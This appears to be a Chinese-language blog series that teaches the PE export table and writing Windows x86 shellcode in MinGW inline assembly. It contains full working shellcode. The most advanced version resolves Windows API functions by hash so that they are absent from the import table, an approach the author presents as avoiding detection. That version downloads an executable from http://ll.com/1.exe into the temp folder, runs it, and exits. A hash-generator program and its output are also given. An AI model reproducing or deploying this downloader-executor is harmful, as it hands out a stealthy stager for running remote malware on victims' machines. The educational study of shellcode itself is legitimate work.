bookmark_border理解PE格式—找出导出表(Export Table)中的函数地址(ShellCode篇)

本文接上一篇:

看完理论,接着要来写代码实践一下。
要实现的功能是通过Inline Assembly 打开 C:\1.exe
先要获取kernel32.dll在内存中的基址,因为kernel32中有我需要的函数,有两种方法。

https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html

第一种方法(https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html):

	xor esi, esi			; esi = 0
    	mov ebx, [fs:0x30 + esi]  	; written this way to avoid null bytes
	mov ebx, [ebx + 0x0C] 
	mov ebx, [ebx + 0x14] 
	mov ebx, [ebx]	
	mov ebx, [ebx]	
	mov ebx, [ebx + 0x10]		; ebx holds kernel32.dll base address 76830000
	mov [ebp-8], ebx 		; var8 = kernel32.dll base address

第二种方法(加密解密里的方法):

	xor		ecx, ecx
	mov		ecx, dword ptr fs:[0x30]
	mov		ecx, dword ptr [ecx+0x0C]
	mov		esi, dword ptr [ecx+0x1C]
sc_goonKernel:  
	mov		eax, dword ptr [esi+8] 
	mov		ebx, dword ptr [esi+0x20]            
	mov		esi, dword ptr [esi]
	cmp		dword ptr [ebx+0x0C], 0x320033 ;判断名称中字符32的unicode
	jnz		sc_goonKernel
	mov		ebx, eax  ;获取kernel32地址

本文采用第一种方法。

基础版ShellCode:

#include <stdio.h>
#include <windows.h>
#include <string>
#include <iostream>

/*
 ref: https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html 
*/
int main(int argc, char* argv[])
{
    std::cout << "Let's start" << std::endl;
    DWORD kernel32Adrress,scStart,scEnd,WinExecAddress;
    int numberOfFunction ;
    __asm__
    (
        ".intel_syntax\n\t"
    "start: \n\t"       

        "push ebp \n\t"
        "mov ebp, esp \n\t"

        "sub    ebp,0x18 \n\t" // Allocate memory on stack for local variables

        "push   0x00636578 \n\t" // 把"C:\1.exe"作为变量推到栈里, 1.exe是要打开的程序
        "push   0x456e6957 \n\t"    //  0x00 作为变量的结束符
        "mov    [ebp-4], esp \n\t"  // var4 = "WinExec\x00"

        "xor esi, esi \n\t"
        "mov ebx, [fs:0x30 + esi] \n\t"
        "mov ebx, [ebx + 0x0C] \n\t"
        "mov ebx, [ebx + 0x14] \n\t"
        "mov ebx, [ebx] \n\t"
        "mov ebx, [ebx] \n\t"
        "mov ebx, [ebx + 0x10] \n\t"

        "mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
        "add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
        "mov eax, [eax + 0x78] \n\t" //  RVA of Export Table
        "add eax, ebx \n\t" // Address of Export Table
        
        "mov ecx, [eax + 0x24] \n\t" // RVA of Ordinal Table
        "add ecx, ebx \n\t" // Address of Ordinal Table
        "mov [ebp-0x0C], ecx \n\t" // var_0C = Address of Ordinal Table

        "mov edi, [eax + 0x20] \n\t"    // RVA of Name Pointer Table
        "add edi, ebx \n\t"     // Address of Name Pointer Table
        "mov [ebp-0x10], edi \n\t"   // var_10 = Address of Name Pointer Table

        "mov edx, [eax + 0x1C] \n\t"    // RVA of Address Table
        "add edx, ebx \n\t"     // Address of Address Table
        "mov [ebp-0x14], edx \n\t" //    var_14 = Address of Address Table
        
        "mov edx, [eax + 0x14] \n\t"    // Number of exported functions

        "xor    eax,eax \n\t"   // function name address index

    "loop: \n\t"
        "mov    edi, [ebp-0x10] \n\t"   // var_10 = Address of Name Pointer Table
        "mov    esi, [ebp-4] \n\t"  // var4 = "WinExec\x00"
        "xor    ecx, ecx \n\t"  // function name char index

        "cld \n\t"  //  Clear direction flag,set DF=0 => process strings from left to right.    
        "mov    edi,[edi + eax*4] \n\t"  // next function name RVA 
 
        "add    edi, ebx \n\t"
        "add    cx,8 \n\t"
        "repe   cmpsb \n\t" // Compare the first 8 bytes of strings in 
                        // esi and edi registers. ZF=1 if equal, ZF=0 if not
        "jz found \n\t"
        "inc    eax \n\t"
        "cmp    eax,edx \n\t"   //check if last function is reached
        "jb     loop  \n\t"   // if not the last -> loop
        "add    esp,0x26 \n\t"
        "jmp    end \n\t"

    "found: \n\t"
        "mov    ecx, [ebp-0x0C] \n\t" // var_0C = Address of Ordinal Table
        "mov    edx, [ebp-0x14]\n\t"  // var_14 = Address of Address Table

        "mov    ax, [ecx + eax*2] \n\t" // ax = ordinal number = var_0C + (counter * 2)
        "mov    eax, [edx + eax*4] \n\t"    //  eax = RVA of function = var_14 + (ordinal * 4)
        "mov    %0, eax \n\t"
        "add    eax,ebx \n\t"  //  eax = address of WinExec  = kernel32.dll base address + RVA of WinExec
        

        "xor    edx,edx \n\t"
        "push   edx \n\t"   // null termination
        "push   0x6578652e \n\t"
        "push   0x315c3a43 \n\t"
        "mov    esi,esp \n\t"

        "push   10 \n\t"
        "push   esi \n\t"
        "call   eax \n\t"
        
        "add    esp, 0x46 \n\t"
        
    "end: \n\t"

        :"=r" (WinExecAddress)
        :"r" (WinExecAddress)
        :    
    );
    std::cout << "The WinExec Address is:";
    printf("%llx",WinExecAddress);
    std::cout << std::endl;

}

程序就是找到kernel32.dll 然后找到导出表,遍历找到Function name Table 中WinExec的位置,
通过这个位置找到Ordinal Table中指定的index,通过这个index在 Address Table找到 WinExec的地址,然后传参,call这个地址。


进阶版ShellCode:

#include <stdio.h>
#include <windows.h>
#include <string>
#include <iostream>

int main(int argc, char* argv[])
{
    std::cout << "Let's start" << std::endl;
    DWORD WinExecAddress=0;
    __asm__
    (
        ".intel_syntax\n\t"
    "start:\n\t"      
        "xor    ecx, ecx\n\t" 
        "mov    ebx, fs:[0x30] \n\t"
        "mov    ebx, [ebx + 0x0C] \n\t"
        "mov    ebx, [ebx + 0x14] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx + 0x10] \n\t"

        "mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
        "add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
        "mov eax, [eax + 0x78] \n\t" //  RVA of Export Table
        "add eax, ebx \n\t" // Address of Export Table

        "push   eax \n\t" // save 

        "xor    ecx, ecx \n\t"  // ecx: record how far from first function name
        "dec    ecx \n\t" 
        "mov    esi, [eax + 0x20] \n\t"   // RVA of Name Pointer Table
        "add    esi, ebx \n\t"            
        
    "Find_Loop: \n\t"
        
        "inc    ecx \n\t"   
        "lods   dword ptr [esi] \n\t"   // traverse function name
        "add    eax,ebx \n\t"   // + base address. to get function name Address
        "xor    edi, edi \n\t"  // edi: hashed value
    "Hash_Loop: \n\t"
        "movsx  edx, byte ptr [eax] \n\t"
        "cmp    dl,dh \n\t" // // 函数名以 00 结束,若取到 00 ,则读完了这个函数名
        "je     hash_OK \n\t" // 这个函数名已经读取到最后一位
        "ror    edi, 7 \n\t"
        "add    edi,edx \n\t"   // // hash过的值 存在 edi
        "inc    eax \n\t"
        
        "jmp    Hash_Loop \n\t"
        
    "hash_OK: \n\t"
        "cmp    edi, 0x01a22f51 \n\t" // cmp edi , [ebp-4]
        "jnz    Find_Loop \n\t"
        "pop    esi \n\t"
        "mov    edi, dword ptr [esi+0x24] \n\t"
        "add    edi, ebx \n\t"
        "mov    cx,word ptr [edi+ecx*2] \n\t" // Ordinal Table
        "mov    edi, dword ptr [esi+0x1c]\n\t" //  RVA of Address Table
        "add    edi, ebx \n\t"
        "mov    eax, dword ptr [edi+ecx*4] \n\t" // RVA of function address
        "add    eax, ebx \n\t"
        "mov    %0, eax \n\t"
        
        "xor    edx,edx \n\t"
        "push   edx \n\t"   // null termination
        "push   0x6578652e \n\t"
        "push   0x315c3a43 \n\t"
        "mov    esi,esp \n\t"

        "push   10 \n\t"
        "push   esi \n\t"
        "call   eax \n\t"
        
        "add    esp, 0x46 \n\t"
        
    "end: \n\t"

        : "=r" (WinExecAddress)
        : "r" (WinExecAddress)
        :    
    );
    std::cout << "The WinExec Address is:";
    printf("%lx",WinExecAddress);
    std::cout << std::endl;
}

进阶版ShellCode用了加密解密中的Hash算法找Function Name,防止被检测到。

终极版(加密解密版)

#include <stdio.h>
//#include <windows.h>
//#include <string>
//#include <iostream>

int main(int argc, char* argv[])
{
    //std::cout << "Let's start" << std::endl;
    //DWORD WinExecAddress=0;

    // 1. 找到Kernel32的基址
    // 2. 找到Kernel32.LoadLibrary
    // 3. 加载urlmon.dll
    // 4. 找到urlmon的API
    // 5. 调用函数
    __asm__
    (
        ".intel_syntax\n\t"
        
        // hash value
        "push   0x00657865 \n\t"
        "push   0x2e312f6d \n\t"
        "push   0x6f632e6c \n\t"
        "push   0x6c2f2f3a \n\t"
        "push   0x70747468 \n\t"    // http://ll.com/1.exe  // map hosts: C:\Windows\System32\drivers\etc\hosts
        "push   0x00000000 \n\t"    // Address of Download file path
        "push   0x9aafd680 \n\t" // Urlmon.URLDownloadToFileA
        "push   0x6118f28f \n\t" // Kernel32.TerminateProcess
        "push   0xcb9765a0 \n\t" // Kernel32.Sleep
        "push   0x01a22f51 \n\t" // Kernel32.WinExec
        "push   0x837de239 \n\t" // Kernel32.GetTempPathA
        "push   0x6144aa05 \n\t" // Kernel32.VirtualFree
        "push   0x1ede5967 \n\t" // Kernel32.VirtualAlloc

        "mov    ebp, esp \n\t"

        //  1. 找到Kernel32的基址
    "BaseAddress:\n\t"      
        "xor    ecx, ecx\n\t" 
        "mov    ebx, fs:[0x30] \n\t"
        "mov    ebx, [ebx + 0x0C] \n\t"
        "mov    ebx, [ebx + 0x14] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx + 0x10] \n\t" // ebx: Base Address of Kernel32.dll
        "mov    ebp, esp \n\t"
        //"int 3\n\t"
        
        // 2. 找到Kernel32.LoadLibrary
        /*
        // 参数:ebx, .dll Base Address
        // 参数:edi, API的Hash值
        // 参数:ecx, dll中要找的API数量
                
        用ecx 和 loop来控制查找的次数
        Kernel32中需要用到7个API,所以这里ecx赋值7
        */  
        "mov    ebp, esp \n\t" 
        "mov    ecx, 0x07 \n\t"  
        "mov    edi, ebp \n\t"

    "FindApi_loop: \n\t"
        // Find Kernel32API
        "call   FindApi \n\t"
        "loop   FindApi_loop \n\t"
        // LoadLibraryA load urlmon.dll
        // now edi is point to last hashed value
        "push   0x6e6f \n\t"
        "push   0x6d6c7275 \n\t"
        "mov    eax,esp \n\t"
        "push   eax \n\t"
        "call   dword ptr[ebp] \n\t"
        "mov    ebx, eax \n\t" // ebx is image base address of urlmon.dll
        "pop    eax \n\t"
        "pop    eax \n\t"

        "call   FindApi \n\t"

        "nop \n\t"
        "nop \n\t"
        "nop \n\t"

        "jmp    start_use_function \n\t"
        "nop \n\t"

    "FindApi: \n\t"
        "push   ecx \n\t" // ecx等下要被用作遍历function name
        "push   ebp \n\t"

        //"int 3\n\t"
        "mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
        "add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
        "mov eax, [eax + 0x78] \n\t" //  RVA of Export Table
        "add eax, ebx \n\t" // Address of Export Table

        "push   eax \n\t" // save 

        "xor    ecx, ecx \n\t"  // ecx: record how far from first function name
        "dec    ecx \n\t" 
        "mov    esi, [eax + 0x20] \n\t"   // RVA of Name Pointer Table
        "add    esi, ebx \n\t"            
        
    "Find_Loop: \n\t"
        
        "inc    ecx \n\t"   
        "lods   dword ptr [esi] \n\t"   // traverse function name
        "add    eax,ebx \n\t"   // + base address. to get function name Address
        "xor    ebp, ebp \n\t"  // ebp: hashed value
    "Hash_Loop: \n\t"
        "movsx  edx, byte ptr [eax] \n\t"
        "cmp    dl,dh \n\t" // // 函数名以 00 结束,若取到 00 ,则读完了这个函数名
        "je     hash_OK \n\t" // 这个函数名已经读取到最后一位
        "ror    ebp, 7 \n\t"
        "add    ebp,edx \n\t"   // // hash过的值 存在 ebp
        "inc    eax \n\t"
        
        "jmp    Hash_Loop \n\t"
        
    "hash_OK: \n\t"
        
        "cmp    ebp, dword ptr [edi] \n\t" 
        "jnz    Find_Loop \n\t"
        "pop    esi \n\t"
        "mov    ebp, dword ptr [esi+0x24] \n\t"
        "add    ebp, ebx \n\t"
        //"int 3\n\t"
        "mov    cx,word ptr [ebp+ecx*2] \n\t" // Ordinal Table
        "mov    ebp, dword ptr [esi+0x1c]\n\t" //  RVA of Address Table
        "add    ebp, ebx \n\t"
        "mov    eax, dword ptr [ebp+ecx*4] \n\t" // RVA of function address
        "add    eax, ebx \n\t"
        "stos   dword ptr es:[edi] \n\t" // put eax to edi pointed value,then edi increase 4 bytes . So ebp first 4 bytes saveed first function address
        "pop    ebp \n\t"
        "pop    ecx \n\t"      
        "ret\n\t"
        
    "start_use_function: \n\t"
        /* from now , you can invoke that 8 function through "dword ptr [ebp]"

            dword ptr[ebp+0x0] :   Kernel32.LoadLibraryA
            dword ptr[ebp+0x4] :   Kernel32.VirtualAlloc
            dword ptr[ebp+0x8] :   Kernel32.VirtualFree
            dword ptr[ebp+0xc] :   Kernel32.GetTempPathA
            dword ptr[ebp+0x10] :  Kernel32.WinExec
            dword ptr[ebp+0x14] :  Kernel32.Sleep
            dword ptr[ebp+0x18] :  Kernel32.TerminateProcess
            dword ptr[ebp+0x1c] :  Urlmon.URLDownloadToFileA

         */      
        /*
             Open C:\1.exe
            "push   0x00 \n\t"   // null termination
            "push   0x6578652e \n\t"
            "push   0x315c3a43 \n\t"
            "mov    esi,esp \n\t"

            "push   10 \n\t"
            "push   esi \n\t"
            "call   dword ptr [ebp+0x10] \n\t"
            "pop    eax \n\t"   // 平衡栈
            "pop    eax\n\t"
            "pop    eax\n\t"
            "pop    eax\n\t"
            "pop    eax\n\t"

        */

        /*
            Set Download path
        */
        "push    0x40 \n\t"
        "push    0x1000 \n\t"
        "push    0x100 \n\t"
        "push    0 \n\t"
        "call    dword ptr [ebp+0x4] \n\t"  //  kernel32.VirtualAlloc
        "mov     dword ptr [ebp+0x20], eax \n\t"
        //获取临时文件夹路径
        "push   eax \n\t"
        "push   0x100 \n\t"
        "call   dword ptr [ebp+0x0c] \n\t"  //Kernel32.GetTempPathA
        //设置临时exe文件路径
        //%TEMP%\1.exe
        "mov    ecx, dword ptr[ebp+0x20] \n\t"
        "add    ecx, eax \n\t"
        "mov    dword ptr[ecx], 0x78652e31 \n\t"
        "mov    dword ptr[ecx+0x4], 0x0065 \n\t"
        "mov    dword ptr[ecx+0x8], 0 \n\t"
        /*
            download file
        */
    "try_Download: \n\t"
        "push   0 \n\t"
        "push   0 \n\t"
        "push   dword ptr[ebp+0x20] \n\t"
        "lea    eax, dword ptr[ebp+0x24] \n\t"
        "push   eax \n\t"
        "push   0 \n\t"
        "call   dword ptr[ebp+0x1c] \n\t"   //urlmon.URLDowanloadToFileA
        "test   eax, eax \n\t"
        "jz     Download_OK \n\t"
        "push   30000 \n\t"
        "call   dword ptr[ebp+0x14] \n\t"   //Kernel32.Sleep
        "jmp    try_Download \n\t"
        
    "Download_OK: \n\t"
        "push   0 \n\t"
        "push   dword ptr[ebp+0x20] \n\t"
        "call   dword ptr[ebp+0x10] \n\t"    //Kernel32.WinExec

        "push    0x08000 \n\t"
        "push    0x00 \n\t"
        "push    dword ptr [ebp+0x20] \n\t"
        "call    dword ptr [ebp+0x08] \n\t" //kernel32.VirtualFree

        //"mov    %0, eax \n\t"   // test code

        "push   0 \n\t"
        "push   0x0FFFFFFFF \n\t"
        "call   dword ptr[ebp+0x18] \n\t"

        /*
        : "=r" (WinExecAddress)
        : "r" (WinExecAddress)
        :   
        */ 
    );
    // if 1.exe was success download and excute, this will not run:
    /*
    std::cout << "The WinExec Address is:";
    printf("%lx",WinExecAddress);
    std::cout << std::endl;
    */
}

程序的功能是从http://ll.com/1.exe下载并执行。ll.com可以在etc\hosts里做映射。

只是核心代码的思路和加密解密一样,区别是我把数据直接在汇编代码里push了。
先获取7个Kernel32的函数地址,再获取Urlmon的函数地址,放到栈里,最后通过ebp调用所需要的函数。

编译(MinGW):

g++.exe .\shellcode.cpp -o shellcode -masm=intel  -static-libgcc -static-libstdc++

关于这里的Hash算法可以参考这篇:

用PEstudio查看终极版编译出的程序,可以看到Import table里没有记录相关的函数。

从而更加隐蔽。

这里插一句,前一阵子听到某个同事说了一句话“MD5加密算法”,这里要说明一下MD5,MD4,SHA256都属于Hash算法,Hash算法是用来做快速查询的,由于算法的特性,几乎不可逆,所以不能说是加密算法。
吐槽一下,加密解密真的是不舍得在代码里写备注,看的累死人了。真不适合新手看。

bookmark_border理解PE格式—找出导出表(Export Table)中的函数地址(理论篇)

PE的结构,参考文档https://docs.microsoft.com/en-us/windows/win32/debug/pe-format的目录:

根据这个结构来找kernel32.dll中的函数名和函数名的RVA。

PE signature

文件 0x3c 的地方指定了PE signature的位置(也就是NT_Header,加密解密里说NT_Header,微软的文档里没有这么一说) E8

E8的前四个字节是 PE00,在这之后是 COFF file header

COFF file header

紧接着PE signature的2个Byte(Machine) 判断PE文件时运行在什么平台:

COFF file header + 2 处的2个byte指定了这个PE文件有多少个Section : 06
用010Editor查看也是6个Section

COFF file header + 16 处的两byte指定了OptionalHeader的大小 : F0

COFF file header + 20 处是 OptionalHeader 的开始位置:100h. 大小F0.

也就是100h – 1F0h之间全是 OptionalHeader

OptionalHeader

OptionalHeader 的前两个字节判断了这是个PE文件还是个PE+文件

本次是20b ,是在64位平台的pe+格式。
OptionalHeader 分三部分:

Standard fields , Windows-specific fields 和 Data directories。

Standard fields

100h – 118h 是 Standard fields部分

在PE32中还有额外的字段BaseOfData。

Windows-specific fields

118h – 12Eh 是 Windows-Specific Fields部分

SizeOfHeaders 在100h + 60 = 13Ch的位置 :400h
400 h就是File Header 和 Section Table(Section Header)的总大小
即 400h开始部分就是Section Data部分

Data directories

因此PE signature的位置开始+4(PE signature的长度)+20(Standard fields的长度)+96(Export Table的偏移)= +120 = +78h 的地方就是Export Table相对PE signature的偏移。
Export Table 里指向了Export Table的地址和大小,100h+112=100+70h=170h

Address: 90170h
Size:DD40h=56640
由于这个地址是RVA 相对虚址。在文件上查看还要算出 内存偏移 和 文件偏移的差值△k

Section Table(Section Header)

从100h + 232 + 8 = 1F0 开始是Section Table(Section Header) 的起始位置。
按照之前的计算,一共有6个Section,所以有6个Section Header,每个的格式如下:

每个Secion Header 的大小是40 = 28h。 Secion Header的总大小是: 6*40=240=F0h

第一个Section(.text), 微软用这个名字的Section来存代码。

VirtualAddress:1000h
Pe被加载到内存,这部分Section在相对 image base偏移1000h的位置
VirtualSize:7529Ch
在内存中的地址范围是1000h — 7629Ch
PointerToRawData:400h
PE在磁盘上当文件存放时,这部分Section在相对 image base偏移400h的位置。
内存偏移 和 文件偏移的差值△k1= 1000h – 400h = C00h

第二个Section(.rdata)

VirtualAddress:77000h
VirtualSize:31BC6
在内存中的地址范围是77000h — A8BC6h
这里第二个Section从77000h开始是因为内存对齐了。
PointerToRawData:75800h
△k2=77000h-75800=1800h

因此,之前找到的Export Table的RVA(90170h)就在.rdata的Section Data中。
算出了以上数据,即可以通过以上数据找到Export Table在文件上的偏移位置:
90170h-△k2=90170h-1800h=8E970h
8E970h 开始就是The export data section

Section Data

The export data section 分为5个表:

我只关心第一个表:Export Directory Table。
Export Directory Table表结构:

文件上的数据:

Ordinal Base 指定了序号从多少开始:01h
Address Table Entries 指定了有多少个Function: 65D

Export Address Table RVA : 90198h-1800h=8E998h

Name Pointer RVA 指定了Function Name的地址:91B0Ch-1800h=9030Ch
Ordinal Table RVA 指定了函数的顺序表的地址:93480h-1800h=91C80‬h

查看Ordinal Table :

这是一个数组,一个元素2字节。
表中序号从0开始,加上Ordinal Base的值(1),所以00 00 代表了序数是1。

查看Name Pointer RVA

这是一个数组,一个元素4个字节。
根据地址查看第一个函数名称:
94147h-1800h=92947h

00 代表结束。可见 函数是从A开始排列的

查看Export Address Table RVA

这个地址有可能是个内存地址,有可能是个其他dll的函数名称。

Name Pointer 和Ordinal Table 这两个是平行的数组。
比如两个数组的第五个元素是对应的,通过Name Pointer的第五个元素指向的地址可以知道这个函数的函数名,通过Ordinal Table 的第五个元素指向的数字(假如是20),再去Export Address Table 查第(20 – Ordinal Base)个元素的地址,就可以查到指定函数的名称和地址。
实际在内存中的地址还要加上基址。

绝知此事要躬行,实践篇:

bookmark_borderHash Function Name In Shellcode

学习《加密解密》的时候,第十四章,找到进程块的export table导出表,通过hash过的function name ,和导出表中的function name做hash运算,然后对比两个hash值,最后找到对应的funtion address。
由于加密解密没给如何hash function name,这里通过网上整理相关代码,复现了其生成过程:

#include <stdio.h>  
#include <windows.h>  
// hash function name
DWORD GetHash(char *fun_name)  
{  
    DWORD digest = 0;  
    while(*fun_name)  
    {  

        __asm__(
            ".intel_syntax \n\t"
            "mov ebx,%0 \n\t"
            "ror ebx, 7 \n\t"
            "mov %0,ebx \n\t"
            : "=r" (digest) 
            : "r" (digest)
            : 
        );
        // printf("ror     ebp, 7 is 0x%p\n", digest);
        digest += *fun_name;  
        // printf("digest += *fun_name is 0x%p\n", digest);
        fun_name++;  
    }  
    return digest;  
}  

// print hashed function name 
void print_char_data(DWORD hash){
    char char_hash[8];
    sprintf(char_hash, "%.8x", hash); // convert DWORD to CHAR
    printf("\"\\x%c%c\\x%c%c\\x%c%c\\x%c%c\"\n",char_hash[6],char_hash[7],char_hash[4],char_hash[5],char_hash[2],char_hash[3],char_hash[0],char_hash[1]);
    
}

int main(int argc, char *argv[], char *envp[])  
{  

    // for(int i=0;i<argc;i++)
    // {   
    //     DWORD hash;          
    //     hash = GetHash(argv[i+1]);  
    //     printf("The hash of Function is 0x%.8x\n", hash);          
    // }

    printf("char Datas[] =\n");
    for(int i=0;i<argc;i++)
    {   
        DWORD hash;          
        hash = GetHash(argv[i+1]);  
        // printf("The hash of Function is 0x%.8x\n", hash);          
        print_char_data(hash);
    }


     getchar();  
    return 0;  
}  

编译(MinGW):

PS C:\Users\IEUser\Desktop\shellcode > g++.exe .\hash.cpp -o hash -masm=intel

使用:

PS C:\Users\IEUser\Desktop\shellcode > .\hash.exe LoadLibraryA VirtualAlloc VirtualFree GetTempPathA WinExec Sleep TerminateProcess URLDownloadToFileA
char Datas[] =
"\x32\x74\x91\x0c"
"\x67\x59\xde\x1e"
"\x05\xaa\x44\x61"
"\x39\xe2\x7d\x83"
"\x51\x2f\xa2\x01"
"\xa0\x65\x97\xcb"
"\x8f\xf2\x18\x61"
"\x80\xd6\xaf\x9a"
COMMANDO 12/30/2019 11:12:41 PM
PS C:\Users\IEUser\Desktop\shellcode >

可以看到和 加密解密 的 hash data 完全一致。